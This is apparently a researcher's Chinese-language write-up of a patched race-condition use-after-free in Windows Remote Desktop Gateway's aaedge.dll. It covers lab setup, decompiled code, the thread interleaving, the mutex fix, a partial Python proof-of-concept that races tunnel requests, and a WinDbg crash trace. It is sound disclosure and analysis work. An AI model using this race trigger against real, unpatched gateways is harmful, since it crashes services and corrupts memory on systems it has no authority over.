时隔多月, 也是时候分享一个RDG的案例了. 这是一个全局变量初始化竞争导致的UAF问题. 在azure的挖掘中, 我渐渐熟悉了在开源软件里发现竞争性漏洞的感觉, 在这个case里, 我在binary程序中也找到了发现竞争漏洞的感觉.
配置RDG环境
准备虚拟机, 安装未修补漏洞的windows server.
安装 RDG 服务








wait until finish installation:

select tools to open RDG manager:




创建自签名证书:


最后点击”OK”:

创建 RDCAP:


选择用户组:

点击 “OK”.

创建 RDRAP:




点击”OK”.

获取进程id:

漏洞介绍
在aaedge.dll!CTsgMsgServer::GetCTsgMsgServerInstance
里, 会初始化全局变量CTsgMsgServer::m_pMsgSvrInstance
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| struct CTsgMsgServer *CTsgMsgServer::GetCTsgMsgServerInstance(void) { v0 = CTsgMsgServer::m_pMsgSvrInstance; if ( CTsgMsgServer::m_pMsgSvrInstance ) goto LABEL_9; v1 = operator new(0x70ui64); if ( v1 ) { v1->ref = 1; CTsgMsgServer::m_pMsgSvrInstance = v1; ...... v0 = CTsgMsgServer::m_pMsgSvrInstance; LABEL_9: v4 = (v0 + *(v0->_0_60h_0h + 4i64)); (v4->f_0h->func_AddRef_CAAAuthenticateUserSink_180006ce0_0h)(v4); return CTsgMsgServer::m_pMsgSvrInstance; }
|
如上所示, 在a1位置, 设置了指针给CTsgMsgServer::m_pMsgSvrInstance
, 在a2位置, 返回值用的是全局变量CTsgMsgServer::m_pMsgSvrInstance
.
现在设想一个如下场景:
- socket1连接服务, 进入了该函数a0位置, 由于
CTsgMsgServer::m_pMsgSvrInstance
没有初始化, 所以进入到申请内存阶段, 此时还没有到达a1.
- socket2同时连接服务, 进入了该函数, 由于socket1的流程还没有到a1, 所以
CTsgMsgServer::m_pMsgSvrInstance
还是没有初始化, 因此也进入申请内存阶段.
- socket1运行至a1位置, 将heap1赋值给全局变量. 之后运行至a2位置, 准备通过全局变量返回heap1指针.
- socket2运行至a1位置, 用heap2覆盖了
CTsgMsgServer::m_pMsgSvrInstance
存储的heap1的值. heap2->ref 是 1.
- socket1运行结束, 将heap2作为结果返回, 并且heap2->ref 还是1.
- socket2运行到a2, 返回heap2. 此时heap2->ref 是2.
- socket1结束时, 解引用
CTsgMsgServer::m_pMsgSvrInstance
, heap2->ref变成1
- socket2结束时, 解引用
CTsgMsgServer::m_pMsgSvrInstance
, heap2->ref变成0, heap2被释放. CTsgMsgServer::m_pMsgSvrInstance
变成悬挂指针.
- 当socket3连接时, 引用了悬挂指针, 导致UAF
这个全局变量只会初始化一次, 所以只有在服务第一次启动的时候是NULL的, 但是我们可以通过其它漏洞崩溃服务进程, 让它重启, 于是它又是NULL了.
补丁
官方添加了互斥锁, 避免了多线程同时进入初始化流程.
总结
其实这个uaf最大的问题在于返回值用的全局变量指针, 如果是临时变量指针v1, 至少不会导致引用计数错误. 同时, 也提醒我们要关注全局变量的初始化和引用, 避免竞争情况下的异常.
POC核心逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| def get_data(conId): data = 'GET /remoteDesktopGateway?......' return data
def main_logic(): sock.send(get_data(conId).encode('utf-8')) sock.recv(1024) time.sleep(0.2)
data = HandShakeRequest(0) data = websocket_data(b'xxxx', data) sock.send(data) sock.recv(1024)
data = TunnelRequest(2) data = websocket_data(b'xxxx', data) wait_all_threads_ready_and_sync() sock.send(data) time.sleep(0.1) sock.close() def exp(): for _ in range(total_thread_nums): pool.submit(main_logic) // 使用多个线程竞争 time.sleep(0.5) main_logic()// 模拟socket3行为
|
crash栈回溯
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| 0:046> r rax=0000000000000000 rbx=0000000000000000 rcx=000001aa4c74e7c0 rdx=000001aa4bfb4f90 rsi=000001aa4c74e7c0 rdi=000001aa4d2a0650 rip=00007ffa77957678 rsp=0000003a539fef60 rbp=0000000000000000 r8=7ffffffffffffffc r9=0000000000000000 r10=00000fff4ef319d4 r11=0000000004500000 r12=0000000000000001 r13=00007ffa779ce1c8 r14=000001aa4c74e7c0 r15=0000000000000000 iopl=0 nv up ei pl nz na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 aaedge!CTsgMsgServer::GetCTsgMsgServerInstance+0xf8: 00007ffa`77957678 488b02 mov rax,qword ptr [rdx] ds:000001aa`4bfb4f90=???????????????? 0:046> k # Child-SP RetAddr Call Site 00 0000003a`539fef60 00007ffa`77952007 aaedge!CTsgMsgServer::GetCTsgMsgServerInstance+0xf8 01 0000003a`539fefa0 00007ffa`779528de aaedge!CServerTunnel::Initialize+0x57 02 0000003a`539ff030 00007ffa`7795cc20 aaedge!CAAServerTunnelFactory::InternalCreateNewTunnel+0x23a 03 0000003a`539ff0a0 00007ffa`7795c776 aaedge!CEdgeOperations::CreateTunnelWithUser+0x30 04 0000003a`539ff0e0 00007ffa`7799038a aaedge!CEdgeOperations::CreateTunnel+0x1d6 05 0000003a`539ff190 00007ffa`779929c9 aaedge!CAAHttpServerConnection::HandleTunnelRequestReceived+0x262 06 0000003a`539ff230 00007ffa`77989816 aaedge!CAAHttpServerConnection::OnReceiveDataComplete+0x1c9 07 0000003a`539ff4d0 00007ffa`7797d5c2 aaedge!CAAHttpServerTransport::WebSocketReceiveLoop+0x104e 08 0000003a`539ff640 00007ffa`7797e286 aaedge!CAAHttpServerTransport::HandleWebSocketReceiveRawDataCompletion+0x24e 09 0000003a`539ff6d0 00007ffa`94407c4f aaedge!CAAHttpServerTransport::IoCompletionCallback+0x266 0a 0000003a`539ff760 00007ffa`95a18e57 kernel32!BasepTpIoCallback+0x4f 0b 0000003a`539ff7b0 00007ffa`95a31f9e ntdll!TppIopExecuteCallback+0x1b7 0c 0000003a`539ff830 00007ffa`9440dbe7 ntdll!TppWorkerThread+0x57e 0d 0000003a`539ffb90 00007ffa`95a65a4c kernel32!BaseThreadInitThunk+0x17 0e 0000003a`539ffbc0 00000000`00000000 ntdll!RtlUserThreadStart+0x2c 0:046> !heap -p -a 1aa`4bfb4f90 ReadMemory error for address ffffffffffffffe8 Use `!address ffffffffffffffe8' to check validity of the address. ReadMemory error for address ffffffffffffffe8 Use `!address ffffffffffffffe8' to check validity of the address. address 000001aa4bfb4f90 found in _DPH_HEAP_ROOT @ 1aa40001000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 1aa400465b0: 1aa4bfb4000 2000 00007ffa95a64373 ntdll!RtlDebugFreeHeap+0x0000000000000037 00007ffa95a0ba6e ntdll!RtlpFreeHeap+0x000000000000174e 00007ffa95a09b80 ntdll!RtlpFreeNTHeapInternal+0x00000000000003f0 00007ffa95a13414 ntdll!RtlpHpTagFreeHeap+0x0000000000000574 00007ffa95a123bd ntdll!RtlFreeHeap+0x000000000000019d 00007ffa94d7d61c msvcrt!free+0x000000000000001c 00007ffa77956fd4 aaedge!CTsgMsgServer::`vector deleting destructor'+0x0000000000000034 00007ffa77909537 aaedge!CAABase::Release+0x0000000000000027 00007ffa7794fba2 aaedge!CServerTunnel::~CServerTunnel+0x00000000000000ce 00007ffa7794fd90 aaedge!CServerTunnel::`vector deleting destructor'+0x0000000000000020 00007ffa77909537 aaedge!CAABase::Release+0x0000000000000027 00007ffa7798c816 aaedge!CAAHttpServerConnection::Cleanup+0x000000000000026e 00007ffa779911ca aaedge!CAAHttpServerConnection::InternalShutdown+0x0000000000000486 00007ffa77992768 aaedge!CAAHttpServerConnection::OnDisconnected+0x00000000000000b8 00007ffa7797c03c aaedge!CAAHttpServerTransport::HandleDisconnected+0x00000000000003b0 00007ffa7797e250 aaedge!CAAHttpServerTransport::IoCompletionCallback+0x0000000000000230 00007ffa94407c4f kernel32!BasepTpIoCallback+0x000000000000004f 00007ffa95a18e57 ntdll!TppIopExecuteCallback+0x00000000000001b7 00007ffa95a31f9e ntdll!TppWorkerThread+0x000000000000057e 00007ffa9440dbe7 kernel32!BaseThreadInitThunk+0x0000000000000017 00007ffa95a65a4c ntdll!RtlUserThreadStart+0x000000000000002c
|